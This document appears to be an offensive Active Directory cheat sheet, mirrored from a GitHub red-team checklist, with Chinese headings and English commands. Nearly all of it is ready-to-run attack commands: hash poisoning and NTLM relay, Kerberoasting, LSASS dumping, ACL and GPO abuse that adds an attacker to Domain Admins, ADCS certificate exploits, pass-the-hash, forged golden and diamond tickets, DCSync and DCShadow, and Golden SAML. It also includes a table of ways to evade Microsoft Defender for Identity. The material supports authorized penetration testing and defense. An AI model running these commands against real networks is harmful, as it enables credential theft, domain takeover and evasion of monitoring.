offensive-active-directory

Active Directory — 攻击性测试方法

快速工作流

1. 离线侦察 AD 结构（BloodHound、ADExplorer 快照）——尽量减少实时查询
2. 通过投毒、Kerberoasting、ASREProast 或在允许的情况下从 LSASS 获取凭据
3. 绘制通往 Domain Admin / Enterprise Admin / Tier 0 的攻击路径
4. 选择检测成本最低的路径执行，并在每个跳点进行验证
5. 建立持久化，并记录每项操作及其时间戳

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侦察

BloodHound 数据收集

# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All

PowerView（不投放工具）

# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}

离线使用 ADExplorer

# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

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凭据获取

LLMNR / NBT-NS / mDNS 投毒

# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

使用 hashcat 的模式 5600 破解。如果破解失败，则改用中继。

NTLM 中继

# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController

Kerberoasting

# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt

# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule

ASREProasting

# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt

LSASS / SAM 转储

:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

使用 Mimikatz 或 pypykatz 离线解析：

pypykatz lsa minidump lsass.dmp

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AD 内的权限提升

ACL 滥用

权限	滥用方式
GenericAll / GenericWrite	添加 SPN → Kerberoast；重置密码；添加成员
WriteDacl	授予自己 DCSync 权限，然后执行 DCSync
WriteOwner	获取所有权 → 授予权限 → 利用
AllExtendedRights（用户）	强制更改密码
AllExtendedRights（域）	DCSync
AddMember	将自己添加到特权组
WriteSPN	设置 SPN，对目标执行 kerberoast

# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

Kerberos 委派

# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc.corp.local /ptt

# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object

强制认证原语

技术	工具 / RPC
PetitPotam	MS-EFSRPC（EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv）
PrinterBug	MS-RPRN（RpcRemoteFindFirstPrinterChangeNotificationEx）
DFSCoerce	MS-DFSNM（NetrDfsRemoveStdRoot）
ShadowCoerce	MS-FSRVP
WebDAV	在任意 Web 获取请求中嵌入 UNC 路径并进行查找替换

# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine

GPO 滥用

# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
  --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
  --GPOName "Workstation Policy"

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ADCS 滥用 — ESC1 至 ESC15

枚举

certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout

常见错误配置

ID	错误配置	利用方式
ESC1	Client Auth + ENROLLEE_SUPPLIES_SUBJECT	请求包含任意 UPN 的证书
ESC2	Any Purpose EKU	请求可用于任意用途的证书
ESC3	Enrollment Agent	请求代理证书，然后代表任意用户操作
ESC4	存在漏洞的模板 ACL	修改模板以构成 ESC1
ESC6	CA 上启用 EDITF_ATTRIBUTESUBJECTALTNAME2	在任何模板上注入 SAN
ESC7	存在漏洞的 CA ACL（ManageCA）	批准自己的待处理请求
ESC8	Web Enrollment 使用 HTTP + 未启用 EPA	NTLM 中继 → 证书
ESC9	无安全扩展 + UPN	重命名帐户后进行 UPN 欺骗
ESC10	StrongCertificateBindingEnforcement 设置较弱	无需重命名即可进行 UPN 欺骗
ESC11	RPC 未受保护（未设置 ICertPassage IF_ENFORCEENCRYPTICERTREQUEST）	通过 RPC 中继
ESC13	与组关联的颁发策略	证书授予组成员身份
ESC14	可写入 altSecurityIdentities	将攻击者证书映射到管理员
ESC15	EKUwu — 架构 v1 模板	在请求时注入 EKU

ESC1 利用

# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
  -upn [email protected]

# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

ESC8（Web Enrollment 中继）

# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync

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横向移动

Pass-the-Hash / Overpass-the-Hash

# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>

# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt

Pass-the-Ticket

# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local

隐蔽横向移动工具

# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>

# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"

# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>

# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

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持久化

Golden Ticket（伪造 krbtgt）

# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local

Silver Ticket（按服务伪造）

# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
  -spn cifs/server.corp.local Administrator

Diamond / Sapphire Ticket（现代方法，可规避针对 krbtgt 的 MDI）

# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512

DCSync

impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'

DCShadow（注册恶意 DC，推送更改）

mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push

AdminSDHolder

添加 ACE，授予你的帐户对 CN=AdminSDHolder,CN=System,DC=corp,DC=local 的 GenericAll 权限。SDProp 每 60 分钟将其传播到所有受保护组。

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林与信任攻击

# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust

# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
  -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator

# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

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混合 AD / Entra ID (Azure AD) 枢轴

枢轴	路径
AAD Connect 服务被攻陷	转储 MSOL_ 账户 → 在本地执行 DCSync
无缝 SSO	为 AZUREADSSOACC$ 伪造 Kerberos 票据 → 以任意用户身份使用云 SSO
PTA 代理	劫持 Microsoft.Azure.SecurityTokenService DLL → 获取明文
PHS 哈希同步	从 AAD Connect SQL（ADSync DB）读取本地哈希
联合信任	使用被盗的 ADFS 令牌签名证书伪造 SAML 令牌（Golden SAML）
Pass-the-PRT	从设备窃取 PRT Cookie → 以该用户身份建立云会话

# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials  # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
  -PfxFileName 'token-signing.pfx'

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规避检测（MDI / Defender for Identity）

MDI 检测器	规避方式
Honeytoken 账户访问	访问账户前，务必检查 description 和近期活动
通过 SAMR 进行侦察	仅使用 ADWS / LDAP 收集，并限制频率
可疑的 Kerberos 委派	避免在受监控的 DC 上执行容易引起注意的 S4U2self 链
Golden/Silver Ticket 检测	使用 Diamond/Sapphire 变体；匹配合法的票据有效期/加密方式
来自非 DC 的 DCSync	通过具有合法复制权限的账户中继
Pass-the-Hash	使用 overpass-the-hash，在横向移动前转换为 Kerberos

# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

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行动速查表

# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users

# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass

# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success

# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip

# 5. Identify attack path → execute → loot → persist

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关键参考资料

• MITRE ATT&CK：TA0006（凭据访问）、TA0008（横向移动）、T1558（窃取/伪造 Kerberos）
• ADCS：SpecterOps《Certified Pre-Owned》（Schroeder、Christensen）
• BloodHound：bloodhound.specterops.io
• 强制认证：github.com/p0dalirius/Coercer（统一的强制认证工具包）
• 来源：https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md